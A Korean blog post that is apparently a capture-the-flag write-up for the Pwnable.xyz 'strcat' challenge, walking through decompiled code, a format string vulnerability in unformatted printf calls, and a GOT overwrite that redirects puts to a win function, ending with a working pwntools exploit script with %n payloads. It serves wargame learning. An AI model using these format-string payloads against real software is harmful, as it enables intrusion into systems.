tmxklab
[Pwnable.xyz] strcat 본문
1. 문제
nc svc.pwnable.xyz 30013
1) 문제 확인
2) 함수 확인
2-1) main함수
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
int v3; // eax
int v4; // ebx
unsigned int v5; // ebx
size_t v6; // rax
setup(argc, argv, envp);
puts("My strcat");
maxlen = 128;
printf("Name: ");
maxlen -= readline(name, 128LL);
desc = (char *)malloc(0x20uLL);
printf("Desc: ");
readline(desc, 32LL);
while ( 1 )
{
print_menu();
printf("> ");
v3 = read_int32();
switch ( v3 )
{
case 2:
printf("Desc: ");
readline(desc, 32LL);
break;
case 3:
printf(name);
printf(desc);
putchar(10);
break;
case 1:
printf("Name: ");
v4 = maxlen;
v5 = v4 - strlen(name);
v6 = strlen(name);
maxlen -= readline(&name[v6], v5);
break;
default:
puts("Invalid");
break;
}
}
}
- 메뉴 1 : name[v6]에 v5크기만큼 입력을 받은 후 반환되는 듯 -> 디버깅하면서 확인
- 메뉴 2 : desc변수에 32bytes만큼 입력을 받음
- 메뉴 3 : name변수와 desc변수의 값 출력
- 참고로 desc, name, maxlen변수는 bss영역에 존재
2-2) read_int32()
__int64 read_int32()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
char *nptr; // [rsp+8h] [rbp-8h]
nptr = (char *)malloc(0x20uLL);
readline(nptr, 32LL);
v1 = atoi(nptr);
free(nptr);
return v1;
}
- nptr변수에 0x20bytes만큼 동적할당
- int형으로 변환 후 반환
2-3) readline()
__int64 __fastcall readline(void *a1, int a2)
{
int v2; // eax
read(0, a1, a2);
v2 = strlen(name);
*((_BYTE *)a1 + v2 - 1) = 0;
return (unsigned int)(v2 - 1);
}
- a1변수에 a2크기만큼 입력
- name변수의 크기를 v2에 저장 후 (a1+v2-1)에 0을 넣음 -> 아마도 문자열 마지막에 널 값을 넣는 듯
- name변수의 크기를 반환(name변수에 입력한 크기만큼)
3) mitigation
2. 접근방법
로직을 정확히 이해하기 위해서 디버깅을 하면서 확인
1) 메뉴 1
- maxlen -> RBX : 0x7c(124)
- strlen(name) -> RAX : 0x4(4)
- maxlen -= readline(&name[v6], v5)
- name+0 ~ 3 까지는 4bytes입력이 되어있으므로 name+4부터 0x78(120)bytes까지 입력을 받는다.
maxlen은 처음에 128bytes로 정해져 있으므로 입력 값을 받으면서 입력 값을 크기만큼 128bytes에서서 줄어든다. 또한, 이전에 name변수에 입력한 값에 이어서 입력한 값이 들어간다.
즉, 128bytes배열안에서 입력한 값을 계속 이어 붙인다.
2) 메뉴 2
- desc변수가 할당받은 주소는 0x603260이며 readline의 인자로 들어간다.
- 기존에는 "BBB"가 들어있지만 "A"*8을 입력하면 기존 입력 값은 사라진다.
3) 메뉴 3
- name변수와 desc변수를 출력한다.
- 이 때, 포맷을 지정하지 않고 출력하므로 FSB취약점이 존재한다.
먼저, 포맷을 지정하지 않고 출력하는 메뉴 3번의 printf(name), printf(desc)를 통해서 FSB를 진행해보자(참고로 PIE는 걸려있지 않으므로 GOT overwrite방법을 생각)
프로세스)
1. printf(name)을 통해 스택에 puts_got의 주소 값을 입력
2. printf(desc)를 통해 스택에 존재하는 puts_got에 win함수의 주소 값 입력
3. switch문 default문을 실행하여 puts실행 → win실행
4) 메뉴 3 printf(name)실행 직전 rsp상황
5) 메뉴 3 printf(desc)실행 직전 rsp상황
둘 다 rsp가 동일한 주소를 가리키고 있다. (0x7ffffffedfb0)
그리고 0x7ffffffedfb0은
rsp로부터 0xf0(240)만큼 떨어져 있다.
처음 printf(name)에서 rsp가 가리키는 이 주소 값(0x7ffffffedfb0)에 puts_got주소 값을 쓰면 기존에 0x1로 세팅되어 있는 값이 puts_got주소 값으로 바뀌고
printf(desc)에서 rsp로부터 0xf0만큼 떨어져 있는 0x7ffffffedfb0에 존재하는 puts_got주소에 win주소 값을 쓰면 될 것이다. (rsp가 0x7ffffffedfb0을 가리키며 31번째 떨어진 곳에 0x1이 존재함)
테스트)
%p를 6번 출력했을 때 0x7ffffffedfb0주소 값이 출력되는 것을 확인
원하는 주소 값에 6이 들어가 있는 것을 확인
%36$p를 입력했을 때 0x7ffffffedfb0에 접근하는 것을 알 수 있음
이거는 이따가 0x7ffffffedfb0에 puts_got를 넣고 printf(desc)에서 win함수 주소를 넣기 위해 위치를 확인하는 과정임
주의)
readline함수의 로직이 살짝 이상하다.
name에 존재하는 문자열의 길이보다 desc에 존재하는 문자열이 더 길면 잘리게 된다.
desc입력을 받을 때도 readline()를 사용하는데 name변수의 길이를 사용함
예를 들어, name에 "AAAAAA"이 저장되어 있고 desc에 "BBBBBBBB"이 저장되어 있으면 name의 문자열의 길이는 6이고 desc의 문자열의 길이는 8이다.
*((_BYTE *)a1 + v2 -1 ) = 0에 의해 (a1은 desc를 의미) desc + 6 - 1에 0이 저장된다.
즉, desc[5]에 널 값이 들어가게 되어 "BBBB" 총 5bytes만 출력된다. (desc+0 ~ 4, 5는 널 값)
따라서, desc의 문자열과 name문자열의 길이만 맞춰주면 문제가 발생하지 않는다.(name문자열이 desc문자열보다 1바이트 더 길어야 함)
3. 풀이
1) win(), puts_got주소 확인
win() address : 0x40094c
puts() got : 0x602028
2) vmmap확인
0x602028에 win주소를 쓸 것이기 때문에 확인
0x602000 ~ 0x603000 사이에 0x602028이 들어가며 쓰기 가능
3) 확인
3-1) printf(name)
원하는 스택에 puts_got값이 들어있는 것을 확인
3-2) printf(desc)
puts_got에 win() address값이 들어있는 것을 확인
익스코드)
from pwn import *
context.log_level = "debug"
#p = process("./challenge", aslr=False)
p = remote("svc.pwnable.xyz", 30013)
#gdb.attach(p)
e = ELF("./challenge")
win = e.symbols['win']
puts_got = e.got['puts']
print("[*] win addr : " + hex(win))
print("[*] puts_got : " + hex(puts_got))
payload1 = "%" + str(puts_got) + "c%6$nAAAAA"
payload2 = "%" + str(win) + "c%36$ln"
p.sendafter("Name: ", payload1)
p.sendafter("Desc: ", payload2)
p.sendafter("> ", "3")
p.interactive()
공격실행)
'War Game > Pwnable.xyz' 카테고리의 다른 글
[Pwnable.xyz] BabyVM (0) | 2020.06.23 |
---|---|
[Pwnable.xyz] iape (0) | 2020.05.03 |
[Pwnable.xyz] J-U-M-P (0) | 2020.05.03 |
[Pwnable.xyz] SUS (0) | 2020.04.23 |
[Pwnable.xyz] fspoo (0) | 2020.04.23 |